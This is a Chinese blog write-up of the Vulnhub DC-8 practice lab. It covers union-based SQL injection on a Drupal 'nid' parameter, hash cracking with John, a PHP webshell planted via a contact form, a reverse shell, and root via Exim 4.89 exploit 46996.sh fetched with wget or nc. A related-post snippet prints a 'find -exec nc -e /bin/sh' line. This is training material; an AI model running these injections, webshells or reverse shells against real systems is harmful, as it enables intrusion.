小H靶场笔记:DC-8

靶场练习 手把手教你通关DC系列 DC1 本次使用的kali机的IP地址为DC1的地址为靶场IP地址为: 192.168.243.134开放端口: 22/ssh 80/http 111/rpcbind框架: cms Drupal 7中间件: Apache 2.2.22语言: php 5.4.45操作系统: Debian。 阅读详情

DC-8

January 9, 2024 3:26 PM
Tags:Drupal;exim提权
Owner:只惠摸鱼

信息收集

  • apr-scan 和 nmap 扫描C端存活主机,探测靶机ip:192.168.199.138,开放了80和22端口。

    在这里插入图片描述

  • 扫描开放端口的服务、版本、系统、存在的基础漏洞。

    • sudo nmap -sS -sV -O -sC -p 22,80 192.168.199.138 --script=vuln

    • 没有扫出什么漏洞,有一些网站信息可以查看一下。还有就是操作系统信息。Drupal应该是7.

      在这里插入图片描述

  • 访问一下80端口,也没有没有太多有用的信息。

    在这里插入图片描述

  • 访问一下刚才扫基础漏洞扫出的目录,发现在CHANGELOG.txt有一个更新日志,CMS应该是7.67版本以上的Drupal

    在这里插入图片描述

  • 在/user/目录下有一个隐藏的用户登陆页面,试了一下弱密码和万能密码,都没用。

    在这里插入图片描述

  • 指纹识别也没有太多内容,扫一下目录吧。

    在这里插入图片描述

  • 目录扫描,也没有发现其他太有用的信息。

    在这里插入图片描述

  • 回到主页在进行寻找有用信息时,发现点击左侧的Details中的超链接时,跳转内嵌页面会有传参nid,随便输入一点指令看看什么结果。

在这里插入图片描述

  • 发现它是通过查询mysql数据库执行的,且数据库语句也通过报错信息给出,发现是整数型传参,尝试SQL注入,发现可以。

    在这里插入图片描述

    在这里插入图片描述

漏洞利用

  • 测试查询列数,发现只有一项,且回显的结果在导航栏下方的提示框内。

    在这里插入图片描述

    在这里插入图片描述

  • 进行联合查询注入,直接查数据库,爆出数据库为d7db

    • unid=-1 union select database()%23

    在这里插入图片描述

  • 再查询当前数据库中有哪些表

    • nid=-1 union select group_concat(column_name) from information_schema.columns where table_name=‘shortcut_set_users’%23

    • 发现有可能有用的表有:shortcut_set_users;users_roles;users

      在这里插入图片描述

  • 逐个表进行联合查询其中的字段名,看哪些表中可能有一些有用的信息。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 最终只发现users表中有比较有用的信息,有用户名和密码,查一下其中的数据

    在这里插入图片描述

  • 得到两个用户名和密码,但密码经过加密,分别是:

    • admin SSSD2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
    • john SSSDqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
  • 需要通过john进行解密操作,将用户名和密码写入txt文档,尝试破解。

    在这里插入图片描述

    在这里插入图片描述

  • 最后只爆出以恶个john的密码,尝试登陆一下之前的user页面。(成功进入)*

    在这里插入图片描述

  • 找一下能够上传马的地方,在edit页面,上传图片马不成功。

    在这里插入图片描述

  • 发现了一个可以直接写代码的页面

    在这里插入图片描述

  • 切换为php格式并写入一句话木马(这里写一句话木马的时候,一定不要删掉

    不然会无回显,连不上,不要问我为什么知道-_-)

    在这里插入图片描述

  • 根据提示,需要选择Confirmation page

    在这里插入图片描述

  • 保存后,来到Contact Us页面发送一个contact邮件,测试一句话木马是否成功。发现可以。

    在这里插入图片描述

  • 蚁剑连接,发现连不上。

    在这里插入图片描述

  • 那直接反弹shell吧

    • 页面POST:

      在这里插入图片描述

    • kali监听

      在这里插入图片描述

  • 成功拿到shell,转换为交互性shell

    在这里插入图片描述

提权

  • 查看其他用户,只有一个用户,且发现没什么信息提供。

    在这里插入图片描述

  • 查看系统版本

    在这里插入图片描述

  • 查看SUID文件,发现有一个exim4没有见过,搜一下。

在这里插入图片描述

  • Exim4 Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。

    • 搜一下有没有相关漏洞,发现可以进行提权

    • 查看exim4当前版本号

      • /usr/sbin/exim4 —version

        在这里插入图片描述

      • 或 dpkg -l | grep exim 查看包安装情况

        在这里插入图片描述

    • 发现是4.89版本的exim4

  • 用searchsploit搜一下有没有exim4 4.89版本的提权漏洞

    • searchsploit exim 4.8

    在这里插入图片描述

  • 下载到本地

    • searchsploit -m linux/local/46996.sh

      在这里插入图片描述

  • vi打开脚本set ff=unix : 告诉 vi 编辑器,使用unix换行符。防止Linux无法识别格式,运行脚本报错。

    在这里插入图片描述

  • 查看tmp文件权限,准备把漏洞脚本传输到tmp文件夹内去执行。

    在这里插入图片描述

  • 两种方法发送漏洞脚本

    • 第一种 使用nc命令

      • 本地kali发送漏洞脚本

        在这里插入图片描述

      • 受害者接收漏洞脚本

        在这里插入图片描述

      • 开启监听另一个端口,通过反弹shell,新建一个终端,查看文件是否传输成功

        在这里插入图片描述

        在这里插入图片描述

    • 第二种 使用python开启http-server服务,再在靶机上使用wget下载文件

      • kali机用python开启http-server服务

        • python -m http.server 8899

        在这里插入图片描述

      • 靶机使用wget下载靶机文件

        在这里插入图片描述

  • 修改漏洞脚本权限

    在这里插入图片描述

  • 运行漏洞脚本文件./4699.sh

    在这里插入图片描述

  • 在kali中vi漏洞脚本文件时,有看到漏洞脚本的使用提示

    在这里插入图片描述

  • 共有两个用法

    • 先试试第一个./46996.sh -m setuid。失败了

      在这里插入图片描述

    • 再试试第二个./46996.sh -m netcat

      在这里插入图片描述

      • 发现可以,提权成功
  • 转换为交互性shell,在/root目录下拿到flag!

    在这里插入图片描述

exim提权

  • Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。
  • 漏洞利用
    • 先查看版本号
      • /usr/sbin/exim4 —version
      • dpkg -l | grep exim (查看包安装情况)
    • 使用searchsploit查询exim对应版本的提权漏洞,download到本地,在上传到目标机器文件夹按漏洞说明利用漏洞。
vulnhub靶场实战系列-DC-2实战 Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行,本文使用VMware测试,每个镜像会有破解的目标,挑战的目标是获取操作系统的root权限和获得flag。WordPress CMS的信息搜集与利用,获得flag,根据提示进一步操作使用cewl获得目标上存在的用户信息,获得密码字典使用wpscan进行WordPress网站用户名爆破,生成用户字典使用wpscan进一步爆破获得可用的密码和用户。 阅读详情

相关推荐

Transformer凭什么取代RNN?深入拆解自注意力机制与梯度消失问题的终极对决

本文深入探讨了Transformer如何通过自注意力机制解决RNN的梯度消失问题,成为自然语言处理领域的新标准。通过对比RNN和Transformer的架构差异,揭示了自注意力机制在并行计算、长期依赖处理等方面的技术优势,并提供了实际任务中的性能对比数据。

f6g7h8i9j的博客 190

【DC系列】DC-8靶机渗透练习

DC-8靶机: 1.主机发现:arp-scan -l,发现靶机ip为192.168.225.152 2.nmap扫描端口: nmap 192.168.225.152 -sV -sC -Pn -n -v -T5 -p- 扫描到22和80端口,访问80端口 3.访问一下,看到drupal框架,点击任意链接,发现类似注入点的地方,测试发现是数字型注入 4.sqlmap可以流程化的跑一跑: python sqlmap.py -u "http://192.168.225.152/?nid=..

serendipity1130的博客 563

从Excel到Power Pivot:构建你的第一个商业智能分析模型

本文详细介绍了如何从Excel升级到Power Pivot,构建你的第一个商业智能分析模型。通过激活Power Pivot功能、导入数据、建立表关系、创建智能度量值以及打造交互式仪表盘,帮助用户高效处理百万行级别的数据,实现数据自动关联和动态分析,大幅提升商业决策效率。

weixin_30629653的博客 256

Vulnhub靶场渗透测试系列DC-8(sqlmap进行SQL注入和exim4命令提权)

Vulnhub靶场渗透测试系列DC-8(sqlmap进行SQL注入和exim4命令提权) 靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/ 将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机 使用nmap进行主机发现,获取靶机IP地址,命令nmap -Pn 192.168.172.1/24 再使用nmap扫描靶机操作系统,开放端口和对应服务等 靶机开放22端口对应ssh服务,80端口对应http服务,这也是一个drupal的网页

qq_45722813的博客 4588

UE5动画革命:如何用Motion Matching技术让你的游戏角色动作更流畅(附实战配置)

本文深入解析了UE5中Motion Matching技术的实战配置与应用。通过对比传统动画状态机的局限,详细阐述了如何构建动画数据库、在UE5中配置Pose Search Database及动画蓝图,并探讨了与IK融合、性能优化等进阶策略。该技术能显著提升游戏角色动作的流畅度与真实感,是下一代动画解决方案的核心。

weixin_29075633的博客 862

CentOS7下用FreeRADIUS+AD实现802.1X认证完整指南(附华为交换机配置)

本文提供了在CentOS 7系统上部署FreeRADIUS并与Windows Active Directory集成,以实现企业级802.1X网络认证的完整实战指南。内容涵盖从架构原理、服务器配置(包括Kerberos、Samba Winbind集成)、FreeRADIUS核心设置与AD联动,到华为交换机的详细配置步骤。重点解决了生产环境中常见的高可用、动态VLAN下发及深度排错问题,为企业构建集中、安全的网络准入控制体系提供了经过验证的解决方案。

weixin_29273849的博客 407

DC4环境搭建及通过(弱密码爆破,命令执行)(teehee提权及exim4漏洞提权)

ok,还是老样子,扫同网段ifconfig看kali的 ip地址,因为同为net模式,所以直接开扫命令:nmap -sV 192.168.190.0/24看到是192.168.190.148(因为开放了80端口--http服务)扫到ip地址之后再扫全部端口发现就22端口对应ssh服务--可以试试找账号密码进行ssh远程登陆80端口对应http服务--可以试试在搭建的网站找web漏洞打开网站发现首页就是一个nginx搭建的一个登录页面扫端口的同时随便再扫扫目录用dirsearch工具。

blue666T的博客 2194

基于PLC的立体车库控制系统设计

本文介绍了基于西门子S7-1511-1PN PLC和KTP700 Basic PN HMI的立体堆垛式停车场自动化控制系统。系统通过PLC逻辑控制滑台运动,配合传感器实现车辆存取自动化,包含初始化、入库、出库和安全保护程序。程序采用模块化设计,分为安全互锁、动画显示、模式切换等六个功能模块,运用边沿触发、定时器和多级联锁确保安全。HMI界面提供模式切换、车位选择、状态显示和手动控制功能。该系统具有模块化、安全性和可扩展性特点,可应用于多车位立体停车场场景。

sxs3030787796的博客 1264

【Vulnhub系列】Vulnhub_DC-8靶场渗透(原创)

Vulnhub系列-DC-8靶场做题记录

Lusen的博客 1197

2021年全网最细 VirtualBox 虚拟机安装 Ubuntu 20.04.2.0 LTS及Ubuntu的相关配置

目录一、VirtualBox 虚拟机的安装1. VirtualBox 的下载和安装2. 设置 VirtualBox 存储文件夹3. 在 VirtualBox 创建虚拟机二、Linux 操作系统(Ubuntu)的安装1. Linux 操作系统(Ubuntu)的下载2. 安装 Ubuntu3. 启动 Ubuntu三、配置 Ubuntu1. 设置终端2. 设置共享剪贴板3. 设置共享文件夹 一、VirtualBox 虚拟机的安装 VirtualBox 是由德国 Innotek 公司开发,由 Sun Microsy

XAMO Lab|代码、调试与复盘笔记 2万+

Qt代码-软件商店

ui->statusBar->showMessage(QString("%1 已卸载").arg(app["name"].toString()));ui->statusBar->showMessage(QString("开始下载 %1...").arg(app["name"].toString()));QString("%1 已下载完成,是否立即安装?ui->statusBar->showMessage(QString("%1 下载完成").arg(app["name"].toString()));

寒寒豆豆软件公司的博客 111

靶场提权总结

1 find root权限提权 find / -perm -u=s -type f 2>/dev/null 查看find权限 find /var/www/index.php -exec whoami \; 返回为“root” 设置nc 反弹shell find /var/www/index.php -exec nc -lvp 9999 -e /bin/sh \; 2 exim4 提权 find / -perm -u=s -type f 2>/dev/null 找到root权

devil8123665的博客 2808

C语言程序设计——单词的统计和替换

【任务描述】 对任意一篇英文文章,统计其中每个单词分别出现了多少次,并可替换指定的单词。⑶ 对单词进行替换时,允许用户选择全部替换或逐个替换。替换完成后,将文章保存到文件。⑴ 英文文章以文件形式输入。⑵ 统计的结果保存到文件。

m0_60738889的博客 810

DC-3靶场实验报告

DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

2401_84693966的博客 1991

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

vulnhub靶场之DC-8

我们查看node,我们可以看到3行蓝色的字,我们一个一个进行访问,最后发现这里就只加了参数nid,非常可疑,可能存在有SQL注入、xss等漏洞。将提交重定向行Confirmation page(确认页面)给勾上,然后滑下点保存,联系随便填入联系表单,点击发送,触发PHP代码。我们可以看到name和pass,我们想到前面的登录页面,我们进行爆破即可。我们可以看到报错了,可能存在报错注入,我们使用sqlmap进行测试。我们看到2个用户名和密码,但是密码是加密的,我们进行解密。

qq_58091216的博客 1321

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

【DC1靶场通关详细记录】

主机渗透DC系列靶场-DC1靶场通关详情记录:使用msf直接对CMS的漏洞进行攻击,find的suid提权方法。

博客 961

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

【DC-7靶场渗透】

DC7靶场渗透练习

一纸荒芜的博客 1256

小H靶场笔记:DC-7

DC-7 Drupal 8 Drush

Hack_hui的博客 646

DC-3靶场

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /home/kali/桌面/42033.txt。cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt。下载后解压会有一个DC-3.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式。使用“-v”(详细)来尝试更多的组合。

2301_76690905的博客 410

DC-7靶场练习记录

靶场描述:DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. While this isn't an ...

Andytoe的博客 461

dc-2靶场练习

dc-2靶场练习

qq_49518993的博客 639

Vulnhub靶场 | DC系列 - DC1

发现该网站是 drupal[//]: # (Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。根据上面flag1.txt的提示,在网站目录中寻找相应的配置文件(当然没有提示,也应该寻找看一下,毕竟是敏感文件)。,则需要登录flag4用户。查看 users 表中的内容:由于列数比较多,查看内容比较乱,可以使用。尝试查看flag4用户的家目录,确实存在flag4.txt文件,

哦 卷! 1689

DC-3实验过程

与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

2401_84694887的博客 1940

【DC系列】DC-2靶场

详细介绍DC2靶机渗透全过程

qq_51611948的博客 1796

DC-7靶场

DC-7靶场

qq_49518993的博客 905

DC1 靶场通关及溯源分析

本文从溯源角度分析DC1靶场渗透过程。首先通过hydra爆破获得密码后,详细记录了攻击前后系统状态变化:msf利用Drupal 7.0漏洞建立会话后,观察到异常网络连接(59148→4444端口)和两个可疑php进程;通过解码apache日志发现回连信息。在获取flag过程中,利用数据库配置文件找到凭证,修改admin密码哈希值登录系统。最后通过分析/var/log/auth.log验证了ssh爆破痕迹。文中包含关键命令如提权操作、密码哈希生成和数据库修改等,完整呈现了攻击链和相应的取证分析方法。

yiduiguwen的专栏 1018
上一篇: 小H靶场笔记:DC-7
下一篇: 小H靶场笔记:DC-9
只惠摸鱼
博客等级 码龄7年 128粉丝 61原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

只惠摸鱼

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值